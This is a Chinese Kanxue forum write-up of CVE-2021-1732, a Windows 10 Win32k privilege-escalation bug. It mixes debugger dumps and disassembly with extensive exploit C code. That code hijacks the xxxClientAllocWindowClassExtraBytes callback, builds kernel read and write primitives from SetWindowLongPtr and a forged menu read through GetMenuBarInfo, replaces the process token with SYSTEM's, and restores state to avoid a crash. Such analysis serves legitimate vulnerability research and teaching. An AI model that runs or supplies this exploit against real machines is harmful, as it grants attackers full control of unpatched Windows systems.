本文为看雪论坛优秀文章
看雪论坛作者ID:1900
一
前言
操作系统:Win10 x64 1909 专业版
编译器:Visual Studio 2017
调试器:IDA Pro, WinDbg
二
漏洞分析
1: kd> dt tagTHREADINFO
+0x1C0 rpdesk : Ptr64 tagDESKTOP
0: kd> dt tagDESKTOP
+0x080 pheapDesktop : Ptr64 tagWIN32HEAP
2: kd> dt tagWND
+0x000 h : Ptr64 Void
+0x008 DesktopOffset : Uint8B
+0x010 pti : Ptr64 tagTHREADINFO
+0x018 rpdesk : Ptr64 tagDESKTOP
+0x020 pSelf : Ptr64 tagWND
+0x028 ptagWNDK : Ptr64 tagWNDK
+0x030 DesktopOffset : Uint8B
+0x058 Left : Uint4B
+0x05C Right : Uint4B
+0x098 spMenu : Ptr64 tagMENU
+0x0C8 cbwndExtra : UInt4B
+0x0E8 Flags : UInt4B
+0x128 pExtraBytes : Uint8B
struct tagWNDK
{
ULONG64 hWnd; //+0x00
ULONG64 OffsetToDesktopHeap;//+0x08 tagWNDK相对桌面堆基址偏移
ULONG64 state; //+0x10
DWORD dwExStyle; //+0x18
DWORD dwStyle; //+0x1C
BYTE gap[0x38];
DWORD rectBar_Left; //0x58
DWORD rectBar_Top; //0x5C
BYTE gap1[0x68];
ULONG64 cbWndExtra; //+0xC8 窗口扩展内存的大小
BYTE gap2[0x18];
DWORD dwExtraFlag; //+0xE8 决定SetWindowLong寻址模式
BYTE gap3[0x10]; //+0xEC
DWORD cbWndServerExtra; //+0xFC
BYTE gap5[0x28];
ULONG64 pExtraBytes; //+0x128 模式1:内核偏移量 模式2:用户态指针
};
PVOID HMAllocObject(PTHREADINFO ptiOwner,
PDESKTOP pdeskSrc,
BYTE bType,
DWORD size);
unsigned __int64 __fastcall HMAllocObject(__int64 ptiOwner, __int64 pdeskSrc, unsigned __int8 bType, unsigned int size)
{
v9 = *((_WORD *)&gahti + 0xC * Type + 6);
if ( (v9 & 0x10) != 0 && pdeskSrc )
{
if ( (int)IsDesktopAllocSupported() < 0 )
goto LABEL_67;
tagWnd = (unsigned __int64)HMAllocateUserOrIsolatedType(v5, v9, Type); // 创建tagWND对象
if ( !tagWnd )
goto LABEL_67;
ptagWNDk = DesktopAlloc(pdeskSrc,
*(unsigned int *)((char *)&gahti + v38 + 0x10),
((unsigned __int8)Type << 16) | 5u); // 创建tagWNDK对象
*(_QWORD *)(tagWnd + 0x28) = ptagWNDk; // tagWND->ptagWNDK赋值为创建的tagWNDK对象
if ( !ptagWNDk )
{
HMFreeUserOrIsolatedType(v9, Type, (void *)tagWnd);
goto LABEL_67;
}
LockObjectAssignment((void **)(tagWnd + 0x18), (void *)pdeskSrc);
ptagWNDk = *(_QWORD *)(tagWnd + 0x28);
*(_QWORD *)(tagWnd + 0x20) = tagWnd; // 为tagWND->pSelf赋值
*(_QWORD *)(tagWnd + 0x30) = ptagWNDk - *(_QWORD *)(pdeskSrc + 0x80); // 将ptagWNDK与pheapDesktop的偏移赋值给tagWND偏移0x30处
}
hwnd = (int)v15 | (unsigned __int64)(*(unsigned __int16 *)((char *)qword_1C0215758
+ v15 * (unsigned int)dword_1C0215760
+ 0x1A) << 16); // 获取窗口句柄
*(_QWORD *)tagWnd = hwnd; // 为tagWND->hWnd赋值
if ( *(_DWORD *)((char *)&gahti + v38 + 0x10) )
{
ptagWNDk = *(_QWORD *)(tagWnd + 0x28);
*(_QWORD *)ptagWNDk = hwnd; // 为ptagWNDK->hWnd赋值
*(_QWORD *)(ptagWNDk + 8) = *(_QWORD *)(tagWnd + 0x30); // 将ptagWNDK与pheapDesktop的偏移赋值给ptagWNDK偏移0x8处
}
return tagWND;
}
.text:00000001C003BCCB mov rax, cs:__imp_gptiCurrent
.text:00000001C003BCD2 mov r14, [rax]
.text:00000001C003BCD5 mov [rsp+4E8h+var_488], r14
.text:00000001C003BCDA mov [rsp+4E8h+var_370], r14
.text:00000001C003C1E2 mov r15, [rsp+4E8h+var_370]
.text:00000001C003BDDC mov rax, [r14+1C0h] ; rax = tagTHREADINFO->rpdesk
.text:00000001C003BDE3 mov [rsp+4E8h+rpdesk], rax
// 省略部分代码
.text:00000001C003C198 xor ebx, ebx
.text:00000001C003C1AC lea esi, [rbx+1]
.text:00000001C003C347 mov r9d, 150h ; r9d = 0x150
.text:00000001C003C34D mov r8b, sil ; r8d = 1
.text:00000001C003C350 mov rdx, [rsp+4E8h+pdesk] ; rdx = rpdesk
.text:00000001C003C358 mov rcx, r15 ; rcx = ptiCurrent
.text:00000001C003C35B call cs:__imp_HMAllocObject
.text:00000001C003C362 nop dword ptr [rax+rax+00h]
.text:00000001C003C367 mov r15, rax ; 将tagWND赋给r15
.text:00000001C003C36A mov [rsp+4E8h+var_tagWND], rax
.text:00000001C003C372 test rax, rax
.text:00000001C003C375 jnz short loc_1C003C3BF
.text:00000001C003CDDB mov dword ptr [rsp+4E8h+var_3F8], edi ; edi=0
.text:00000001C003CDE2 lea rcx, [r15+0B1h]
.text:00000001C003CDE9 lea rdx, [rsp+4E8h+var_3F8]
.text:00000001C003CDF1 call [email protected]@[email protected]@[email protected] ; tagWND::RedirectedFieldcbwndExtra<int>::operator!=(int const &)
.text:00000001C003CDF6 test al, al
.text:00000001C003CDF8 jz short loc_1C003CE44
.text:00000001C003CDFA mov rax, [r15+28h] ; rax = tagWND->ptagWNDK
.text:00000001C003CDFE mov ecx, [rax+0C8h] ; rcx = tagWNDK->cbwndExtra
.text:00000001C003CE04 call xxxClientAllocWindowClassExtraBytes
.text:00000001C003CE09 mov rcx, rax ; 申请内存地址赋给ecx
.text:00000001C003CE0C mov rax, [r15+28h] ; rax = tagWND->ptagWNDK
.text:00000001C003CE10 mov [rax+128h], rcx ; 申请内存地址赋给tagWNDK->pExtraBytes
const void *__fastcall xxxClientAllocWindowClassExtraBytes(SIZE_T Length)
{
LODWORD(pInputBuffer) = Length;
ret = KeUserModeCallback(0x7Bi64, &pInputBuffer, 4i64, &pOutputBuffer, &nOutLen);
if ( ret < 0 || (_DWORD)nOutLen != 0x18 ) // 输出长度等于0x18
return 0i64;
v3 = pOutputBuffer;
if ( pOutputBuffer + 1 < pOutputBuffer || (unsigned __int64)(pOutputBuffer + 1) > *(_QWORD *)MmUserProbeAddress )
v3 = *(__int64 **)MmUserProbeAddress;
pAllocBuffer = (const void *)*v3;
ProbeForRead(pAllocBuffer, size, v5 != 0 ? 1 : 4);
return pAllocBuffer;
}
.text:00000001C008D383 test edi, edi ; nIndex >= 0则跳转
.text:00000001C008D385 jns loc_1C008D487
.text:00000001C008D38B mov r9d, r12d
.text:00000001C008D38E mov r8, r15
.text:00000001C008D391 mov edx, edi
.text:00000001C008D393 mov rcx, rsi ; struct tagWND *
.text:00000001C008D396 call xxxSetWindowData
.text:00000001C008D39B mov rdi, rax
.text:00000001C008D487 loc_1C008D487:
.text:00000001C008D487 mov r8, [rsi+28h] ; r8 = tagWND->ptagWNDK
.text:00000001C008D48B mov ecx, [r8+0C8h] ; ecx = ptagWNDK->cbwndExtra
.text:00000001C008D492 mov r9d, [r8+0FCh] ; 该偏移的成员为知,但是值为0
.text:00000001C008D499 add ecx, r9d
.text:00000001C008D49C mov eax, edi ; eax = nIndex
.text:00000001C008D49E add rax, 8
.text:00000001C008D4A2 cmp rax, rcx
.text:00000001C008D4A5 ja loc_1C008D696 ; 如果nIndex + 8 > cbwndExtra,则跳转
.text:00000001C008D696 loc_1C008D696:
.text:00000001C008D696 mov ecx, 585h
.text:00000001C008D69B call UserSetLastError
.text:00000001C008D6A0 test bl, bl
.text:00000001C008D6A2 jnz loc_1C01855D0
.text:00000001C008D6A8 xor eax, eax
.text:00000001C008D6AA jmp loc_1C008D3A9
.text:00000001C008D4E2 test dword ptr [r8+0E8h], 800h ; ptagWNDK->Flags是否包含0x800标记
.text:00000001C008D4ED jnz loc_1C018566C
.text:00000001C008D4F3 mov rax, [r8+128h] ; rax = ptagWNDK->pExtraBytes
.text:00000001C008D4FA movsxd r8, edi ; r8 = nIndex
.text:00000001C008D4FD add r8, rax ; r8 = nIndex + pExtraBytes
.text:00000001C018566C loc_1C018566C:
.text:00000001C018566C mov rdx, [r8+128h] ; rdx = ptagWNDK->pExtraBytes
.text:00000001C0185673 mov rax, [rsi+18h] ; rax = tagWND->rpdesk
.text:00000001C0185677 movsxd rcx, edi ; rcx = nIndex
.text:00000001C018567A mov r8, [rax+80h] ; r8 = tagDESKTOP->pheapDesktop
.text:00000001C0185681 add r8, rcx ; r8 = pheapDesktop + nIndex
.text:00000001C0185684 add r8, rdx ; r8 = pheapDesktop + nIndex + pExtraBytes
.text:00000001C0185687 jmp loc_1C008D500
.text:00000001C008D500 loc_1C008D500:
.text:00000001C008D500 mov rdi, [r8]
.text:00000001C008D503 mov [rsp+88h+var_oldNew], rdi
.text:00000001C008D508 mov [r8], r15 ; 将dwNewLong赋值到寄存器所指向的地址
.text:00000001C008D50B jmp loc_1C008D39E
三
漏洞验证
BOOL InitTriggerWnd()
{
BOOL bRet = TRUE;
HINSTANCE handle = NULL;
handle = GetModuleHandle(NULL);
if (!handle)
{
bRet = FALSE;
ShowError("GetModuleHandle", GetLastError());
goto exit;
}
PCHAR pClassName = "Trigger";
WNDCLASSEX wndClass = { 0 };
wndClass.cbSize = sizeof(wndClass);
wndClass.lpfnWndProc = DefWindowProc;
wndClass.style = CS_VREDRAW | CS_HREDRAW;
wndClass.cbWndExtra = g_dwWndExtra; // 指定特定的大小
wndClass.hInstance = handle;
wndClass.lpszClassName = pClassName;
if (!RegisterClassEx(&wndClass))
{
bRet = FALSE;
ShowError("RegisterClassEx", GetLastError());
goto exit;
}
g_hTriggerWnd = CreateWindowEx(WS_EX_NOACTIVATE,
pClassName,
NULL,
WS_DISABLED,
0, 0, 0, 0,
NULL,
NULL,
handle,
NULL);
if (!g_hTriggerWnd)
{
bRet = FALSE;
ShowError("CreateWindowEx", GetLastError());
goto exit;
}
exit:
return bRet;
}
NTSTATUS MyxxxClientAllocWindowClassExtraBytes(PVOID arg0)
{
if (*(PDWORD)arg0 == g_dwWndExtra)
{
BYTE bRes[0x18] = { 0 };
// 设置tagWND->pExtraBytes
*(PULONG64)bRes = 0x100;
return fnNtCallbackReturn(bRes, sizeof(bRes), 0);
}
return g_orgClientAllocWindowExtraBytes(arg0);
}
__int64 __fastcall xxxConsoleControl(int nIndex,
struct _CONSOLE_PROCESS_INFO *pInfo,
int nInLength);
.text:00000001C00E0571 mov edi, r8d ; edi = nLength
.text:00000001C00E0580 test ecx, ecx
.text:00000001C00E0582 jz loc_1C01A3F71
.text:00000001C00E0588 sub ecx, 1
.text:00000001C00E058B jz loc_1C00E0671
.text:00000001C00E0591 sub ecx, 1
.text:00000001C00E0594 jz loc_1C01A3F5B
.text:00000001C00E059A sub ecx, 1
.text:00000001C00E059D jz loc_1C00E0686
.text:00000001C00E05A3 sub ecx, 1
.text:00000001C00E05A6 jz loc_1C01A3F30
.text:00000001C00E05AC sub ecx, 1 ; nIndex - 5 != 0
.text:00000001C00E05AF jnz loc_1C00E06A3
// 省略部分代码
.text:00000001C00E06A3 loc_1C00E06A3:
.text:00000001C00E06A3 cmp ecx, 1 ; nIndex = 6不跳转
.text:00000001C00E06A6 jnz loc_1C01A3F12
.text:00000001C00E06AC cmp edi, 10h ; nInLength == 0x10不跳转
.text:00000001C00E06AF jnz loc_1C01A3F71
.text:00000001C00E06B5 mov rcx, [rdx] ; rcx = [pInfo]
.text:00000001C00E06B8 call cs:__imp_ValidateHwnd
.text:00000001C00E06BF nop dword ptr [rax+rax+00h]
.text:00000001C00E06C4 mov rdi, rax ; rdi = tagWND
.text:00000001C00E0772 test dword ptr [rcx+0E8h], 800h ; tagWND->Flags是否包含0x800
.text:00000001C00E077C jz short loc_1C00E07BE
.text:00000001C00E07BE loc_1C00E07BE:
.text:00000001C00E07BE mov edx, [rcx+0C8h] ; edx = tagWND->cbwndExtra
.text:00000001C00E07C4 xor r8d, r8d
.text:00000001C00E07C7 mov rcx, [rdi+18h] ; rcx = tagWND->rpdesk
.text:00000001C00E07CB call DesktopAlloc
.text:00000001C00E07D0 mov r14, rax ; r14 = 申请的内存地址
.text:00000001C00E07D3 mov [rsp+0B8h+var_heap], rax ; 保存到局部变量中
.text:00000001C00E07D8 test rax, rax
.text:00000001C00E07DB jz loc_1C01A3F1C
.text:00000001C00E0876 loc_1C00E0876:
.text:00000001C00E0876 mov rax, [rdi+18h] ; rax = tagWND->rpdesk
.text:00000001C00E087A mov rcx, r14 ; rcx等于刚申请的内存
.text:00000001C00E087D sub rcx, [rax+80h] ; rcx = 新申请的内存减去rpdesk->pheapDesktop
.text:00000001C00E0884 mov rax, [r15] ; rax = tagWND->ptagWNDK
.text:00000001C00E0887 mov [rax+128h], rcx ; ptagWNDK->pExtraBytes = rcx
.text:00000001C00E088E jmp loc_1C00E0790
.text:00000001C00E07A2 loc_1C00E07A2:
.text:00000001C00E07A2 mov rax, [r15] ; rax = tagWND->ptagWNDK
.text:00000001C00E07A5 bts dword ptr [rax+0E8h], 0Bh ; 将ptagWNDK->Flags第0xB位设为1,即在Flags中增加0x800标记
BOOL Init_CVE_2021_1732()
{
BOOL bRet = TRUE;
DWORD i = 0;
lHMValidateHandle HMValidateHandle = NULL;
HMValidateHandle = (lHMValidateHandle)GetHMValidateHandle();
if (!HMValidateHandle)
{
bRet = FALSE;
goto exit;
}
HINSTANCE handle = NULL;
handle = GetModuleHandle(NULL);
if (!handle)
{
bRet = FALSE;
ShowError("GetModuleHandle", GetLastError());
goto exit;
}
WNDCLASSEX wndClass = { 0 };
PCHAR pClassName = "leak";
wndClass.cbWndExtra = 0x20;
wndClass.cbSize = sizeof(wndClass);
wndClass.style = CS_VREDRAW | CS_HREDRAW;
wndClass.hInstance = handle;
wndClass.lpfnWndProc = DefWindowProc;
wndClass.lpszClassName = pClassName;
if (!RegisterClassEx(&wndClass))
{
bRet = FALSE;
ShowError("RegisterClassEx", GetLastError());
goto exit;
}
HWND hWnd = NULL;
for (i = 0; i < g_dwWinNum; i++)
{
hWnd = CreateWindowEx(WS_EX_NOACTIVATE,
pClassName,
NULL,
WS_DISABLED,
0, 0, 0, 0,
NULL,
NULL,
handle,
NULL);
if (!hWnd) continue;
g_hWnd[i] = hWnd;
g_pWnd[i] = (ULONG64)HMValidateHandle(hWnd, TYPE_WINDOW);
}
// 释放部分窗口,之后创建触发漏洞的窗口会占用释放的这些窗口中的其中一个
for (i = 2; i < g_dwWinNum; i += 2)
{
if (g_hWnd[i])
{
DestroyWindow(g_hWnd[i]);
}
}
exit:
return bRet;
}
NTSTATUS MyxxxClientAllocWindowClassExtraBytes(PVOID arg0)
{
if (*(PDWORD)arg0 == g_dwWndExtra)
{
HWND hTriggerWnd = NULL;
DWORD i = 0;
for (i = 2; i < g_dwWinNum; i += 2)
{
if (g_hWnd[i])
{
DWORD cbWndExtra = *(PDWORD)(g_pWnd[i] + g_cbWndExtra_offset);
if (cbWndExtra == g_dwWndExtra)
{
hTriggerWnd = (HWND)*(PULONG64)g_pWnd[i];
break;
}
}
}
if (hTriggerWnd)
{
BYTE bInfo[0x10] = { 0 };
// tagWND->Flag |= 0x800
*(HWND *)bInfo = hTriggerWnd;
fnNtUserConsoleControl(6, bInfo, sizeof(bInfo));
BYTE bRes[0x18] = { 0 };
// 设置tagWND->pExtraBytes
*(PULONG64)bRes = 0xFFFFFF00;
return fnNtCallbackReturn(bRes, sizeof(bRes), 0);
}
else printf("do not find hTriggerWnd\n");
}
return g_orgClientAllocWindowExtraBytes(arg0);
}
四
漏洞利用
tagWNDK + 8处保存的是ptagWNDK - pheapDesktop。
通过xxxConsoleControl增加0x800标记的时候,会将窗口的pExtraBytes修改为新申请的内存地址减去pheapDesktop的值。
当Flags包含0x800标记,SetWindowLongPtr要读写的地址是pheapDesktop + nIndex + pExtraBytes的值。
当Flags不包含0x800标记,SetWindowLongPtr要读写的地址是pExtraBytes + nIndex。
if (i == 0)
{
g_qwKernelHeapOffset0 = *(PQWORD)(g_pWnd[i] + 8);
BYTE bInfo[0x10] = { 0 };
*(HWND *)bInfo = g_hWnd[0];
fnNtUserConsoleControl(6, bInfo, sizeof(bInfo));
g_qwWndOffset = *(PQWORD)(g_pWnd[i] + g_ExtraBytes_offset);
}
g_qwKernelHeapOffset1 = *(PQWORD)(g_pWnd[1] + 8);
if (g_qwWndOffset > g_qwKernelHeapOffset1)
{
bRet = FALSE;
printf("g_pWnd[0] offset is invalid!\n");
goto exit;
}
g_qwWndOffset = g_qwKernelHeapOffset1 - g_qwWndOffset;
if (hTriggerWnd)
{
BYTE bInfo[0x10] = { 0 };
// tagWND->Flag |= 0x800
*(HWND *)bInfo = hTriggerWnd;
fnNtUserConsoleControl(6, bInfo, sizeof(bInfo));
BYTE bRes[0x18] = { 0 };
// 设置tagWND->pExtraBytes
*(PULONG64)bRes = g_qwKernelHeapOffset0;
return fnNtCallbackReturn(bRes, sizeof(bRes), 0);
}
// 将g_hWnd[0]的cbwndExtra设为0xFFFFFFFF
if (!SetWindowLongPtr(g_hTriggerWnd, g_cbWndExtra_offset, 0xFFFFFFFF) &&
GetLastError() != 0)
{
bRet = FALSE;
ShowError("SetWindowLongPtr", GetLastError());
goto exit;
}
BOOL WriteData_CVE_2021_1732(PVOID pTarAddress, QWORD qwValue)
{
BOOL bRet = TRUE;
if (!SetWindowLongPtr(g_hWnd[0], g_qwWndOffset + g_ExtraBytes_offset, (QWORD)pTarAddress) &&
GetLastError() != 0)
{
bRet = FALSE;
ShowError("SetWindowLongPtr", GetLastError());
goto exit;
}
if (!SetWindowLongPtr(g_hWnd[1], 0, qwValue) && GetLastError() != 0)
{
bRet = FALSE;
ShowError("SetWindowLongPtr", GetLastError());
goto exit;
}
exit:
return bRet;
}
BOOL
WINAPI
GetMenuBarInfo(
_In_ HWND hwnd,
_In_ LONG idObject,
_In_ LONG idItem,
_Inout_ PMENUBARINFO pmbi);
typedef struct tagMENUBARINFO {
DWORD cbSize;
RECT rcBar;
HMENU hMenu;
HWND hwndMenu;
BOOL fBarFocused:1;
BOOL fFocused:1;
} MENUBARINFO, *PMENUBARINFO;
typedef struct _RECT {
LONG left;
LONG top;
LONG right;
LONG bottom;
} RECT, *PRECT;
__int64 __fastcall xxxGetMenuBarInfo(ULONG_PTR pwnd, __int64 idObject, __int64 idItem, __int64 pmbi)
{
switch ( idObject )
{
case -3: // idObject == -3,第一处验证
if ( (*(_BYTE *)(spMenu + 0x1F) & 0x40) != 0 )
goto LABEL_9;
spMenu = *(_QWORD *)(pwnd + 0xA8); // tagWND->spMenu不存在则返回,第二处验证
if ( !spMenu )
goto LABEL_9;
SmartObjStackRefBase<tagMENU>::operator=(&kspMenu, spMenu); // kspMenu = spMenu->spSelf
if ( *(_DWORD *)(*kspMenu + 0x40) && *(_DWORD *)(*kspMenu + 0x44)) // *(spMenu + 0x40) != 0 && *(spMenu + 0x44) != 0,第三处验证
{
if ( (_DWORD)IdItem ) // idItem == 1
{
ptagWNDk = *(_QWORD *)(pwnd + 0x28);
num_0x60 = 0x60 * IdItem;
rgItemListEntry = *(_QWORD *)(*kspMenu + 0x58);
tarAddr = *(_QWORD *)(0x60 * IdItem + rgItemListEntry - 0x60);// tarAddr = *(spMenu + 0x58)
if ( (*(_BYTE *)(ptagWNDk + 0x1A) & 0x40) != 0 )
{
v49 = *(_DWORD *)(ptagWNDk + 0x60) - *(_DWORD *)(tarAddr + 0x40);
*(_DWORD *)(pmbi + 0xC) = v49;
*(_DWORD *)(pmbi + 4) = v49 - *(_DWORD *)(*(_QWORD *)(num_0x60 + rgItemListEntry - 0x60) + 0x48i64);
}
else // 这里会走else分支
{
value = *(_DWORD *)(tarAddr + 0x40) + *(_DWORD *)(ptagWNDk + 0x58);// value = *(*(spMenu + 0x58) + 0x40) + ptagWNDK->Left
*(_DWORD *)(pmbi + 4) = value; // 为pmbi->rcBar->left赋值
*(_DWORD *)(pmbi + 0xC) = value + *(_DWORD *)(*(_QWORD *)(num_0x60 + rgItemListEntry - 0x60) + 0x48i64);
}
Value = *(_DWORD *)(*(_QWORD *)(num_0x60 + rgItemListEntry - 0x60) + 0x44i64) + *(_DWORD *)(*(_QWORD *)(pwnd + 0x28) + 0x5Ci64);// Value = *(*(spMenu + 0x58) + 0x44) + ptagWNDK->Right
*(_DWORD *)(pmbi + 8) = Value; // 为pmbi->rcBar->top赋值
v44 = Value + *(_DWORD *)(*(_QWORD *)(num_0x60 + rgItemListEntry - 0x60) + 0x4Ci64);
}
}
}
}
if (i == 1)
{
// 从第1个tagWND开始将带有tagMENU对象
hMenu = CreateMenu();
hHelpMenu = CreateMenu();
if (!hMenu || !hHelpMenu)
{
bRet = FALSE;
ShowError("CreateMenu", GetLastError());
goto exit;
}
if (!AppendMenu(hHelpMenu, MF_STRING, 0x1888, TEXT("about")) &&
!AppendMenu(hMenu, MF_POPUP, (LONG)hHelpMenu, TEXT("help")))
{
bRet = FALSE;
ShowError("AppendMenu", GetLastError());
goto exit;
}
}
// 伪造tagMENU
HANDLE hProcHeap = NULL;
hProcHeap = GetProcessHeap();
if (!hProcHeap)
{
bRet = FALSE;
ShowError("GetProcessHeap", GetLastError());
goto exit;
}
DWORD dwHeapFlags = HEAP_ZERO_MEMORY;
g_qwMenu = (QWORD)HeapAlloc(hProcHeap, dwHeapFlags, 0xA0);
if (!g_qwMenu)
{
bRet = FALSE;
ShowError("GetProcessHeap", GetLastError());
goto exit;
}
*(PQWORD)(g_qwMenu + 0x98) = (QWORD)HeapAlloc(hProcHeap, dwHeapFlags, 0x20);
*(PQWORD)(*(PQWORD)(g_qwMenu + 0x98)) = g_qwMenu;
*(PQWORD)(g_qwMenu + 0x28) = (QWORD)HeapAlloc(hProcHeap, dwHeapFlags, 0x200);
*(PQWORD)(*(PQWORD)(g_qwMenu + 0x28) + 0x2C) = 1;
*(PQWORD)(g_qwMenu + 0x58) = (QWORD)HeapAlloc(hProcHeap, dwHeapFlags, 0x8);
*(PDWORD)(g_qwMenu + 0x40) = 1;
*(PDWORD)(g_qwMenu + 0x44) = 2;
// g_hWnd[1]的style加入WS_CHILD
DWORD dwStyleOffset = 0x18;
QWORD qwStyle = *(PQWORD)(g_pWnd[1] + dwStyleOffset);
qwStyle |= 0x4000000000000000;
if (!SetWindowLongPtr(g_hWnd[0], g_qwWndOffset + dwStyleOffset, qwStyle) &&
GetLastError() != 0)
{
bRet = FALSE;
ShowError("SetWindowLongPtr", GetLastError());
goto exit;
}
// 将伪造的tagMENU设置到g_hWnd[1]中
QWORD qwSPMenu = SetWindowLongPtr(g_hWnd[1], GWLP_ID, g_qwMenu);
if (!qwSPMenu && GetLastError() != 0)
{
bRet = FALSE;
ShowError("SetWindowLongPtr", GetLastError());
goto exit;
}
// 删除g_hWnd[1]的WS_CHILD
qwStyle &= ~0x4000000000000000;
if (!SetWindowLongPtr(g_hWnd[0], g_qwWndOffset + dwStyleOffset, qwStyle) &&
GetLastError() != 0)
{
bRet = FALSE;
ShowError("SetWindowLongPtr", GetLastError());
goto exit;
}
QWORD ReadData_CVE_2021_1732(QWORD pTarAddress)
{
BYTE bValue[0x8] = { 0 };
RECT Rect = { 0 };
if (!GetWindowRect(g_hWnd[1], &Rect))
{
ShowError("GetWindowRect", GetLastError());
goto exit;
}
MENUBARINFO mbi = { 0 };
mbi.cbSize = sizeof(mbi);
*(PQWORD)(*(PQWORD)(g_qwMenu + 0x58)) = pTarAddress - 0x40;
if (!GetMenuBarInfo(g_hWnd[1], -3, 1, &mbi))
{
ShowError("GetMenuBarInfo", GetLastError());
goto exit;
}
*(PDWORD)bValue = mbi.rcBar.left - Rect.left;
*(PDWORD)(bValue + 4) = mbi.rcBar.top - Rect.top;
exit:
return *(PQWORD)bValue;
}
BOOL EnablePrivileges_CVE_2021_1732()
{
BOOL bRet = TRUE;
CONST DWORD dwLinkOffset = 0x2F0, dwPIDOffset = 0x2E8, dwTokenOffset = 0x360;
QWORD qwSytemAddr = GetSystemProcess();
if (!qwSytemAddr)
{
bRet = FALSE;
goto exit;
}
// 获取system进程EPROCESS的地址和Token
QWORD qwEprocess = ReadData_CVE_2021_1732(qwSytemAddr);
QWORD qwSystemToken = ReadData_CVE_2021_1732(qwEprocess + dwTokenOffset);
// 找到当前进程的EPROCESS
QWORD qwCurPID = GetCurrentProcessId(), qwPID = 0;
do {
qwEprocess = ReadData_CVE_2021_1732(qwEprocess + dwLinkOffset) - dwLinkOffset;
qwPID = ReadData_CVE_2021_1732(qwEprocess + dwPIDOffset);
} while (qwPID != qwCurPID);
// 替换Token
if (!WriteData_CVE_2021_1732((PVOID)(qwEprocess + dwTokenOffset), qwSystemToken))
{
bRet = FALSE;
goto exit;
}
exit:
return bRet;
}
// 修复数据,防止蓝屏
lHMValidateHandle HMValidateHandle = (lHMValidateHandle)GetHMValidateHandle();
QWORD qwTriggerHead = (QWORD)HMValidateHandle(g_hTriggerWnd, TYPE_WINDOW);
QWORD qwWndOffset = *(PQWORD)(g_pWnd[0] + g_ExtraBytes_offset);
QWORD qwTriggerOffset = *(PQWORD)(qwTriggerHead + 8);
if (qwWndOffset > qwTriggerOffset)
{
printf("qwWndOffset to larger\n");
goto exit;
}
qwWndOffset = qwTriggerOffset - qwWndOffset;
DWORD dwFlagsOffset = 0xE8;
DWORD dwFlags = *(PDWORD)(qwTriggerHead + dwFlagsOffset);
dwFlags &= ~0x800;
if (!SetWindowLongPtr(g_hWnd[0], qwWndOffset + dwFlagsOffset, dwFlags) &&
GetLastError() != 0)
{
bRet = FALSE;
ShowError("SetWindowLongPtr", GetLastError());
goto exit;
}
QWORD qwBuffer = (QWORD)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, g_dwWndExtra);
if (!qwBuffer)
{
bRet = FALSE;
ShowError("HeapAlloc", GetLastError());
goto exit;
}
if (!SetWindowLongPtr(g_hWnd[0], qwWndOffset + g_ExtraBytes_offset, qwBuffer) &&
GetLastError() != 0)
{
bRet = FALSE;
ShowError("SetWindowLongPtr", GetLastError());
goto exit;
}
// 增加g_hWnd[1]的WS_CHILD
qwStyle |= 0x4000000000000000;
if (!SetWindowLongPtr(g_hWnd[0], g_qwWndOffset + dwStyleOffset, qwStyle) &&
GetLastError() != 0)
{
bRet = FALSE;
ShowError("SetWindowLongPtr", GetLastError());
goto exit;
}
// 恢复g_hWnd[1]的spMenu
if (!SetWindowLongPtr(g_hWnd[1], GWLP_ID, qwSPMenu) && GetLastError() != 0)
{
bRet = FALSE;
ShowError("SetWindowLongPtr", GetLastError());
goto exit;
}
// 删除g_hWnd[1]的WS_CHILD
qwStyle &= ~0x4000000000000000;
if (!SetWindowLongPtr(g_hWnd[0], g_qwWndOffset + dwStyleOffset, qwStyle) &&
GetLastError() != 0)
{
bRet = FALSE;
ShowError("SetWindowLongPtr", GetLastError());
goto exit;
}
五
运行结果
看雪ID:1900
https://bbs.pediy.com/user-home-835440.htm
# 往期推荐
5.协议分析实战
球分享
球点赞
球在看
点击“阅读原文”,了解更多!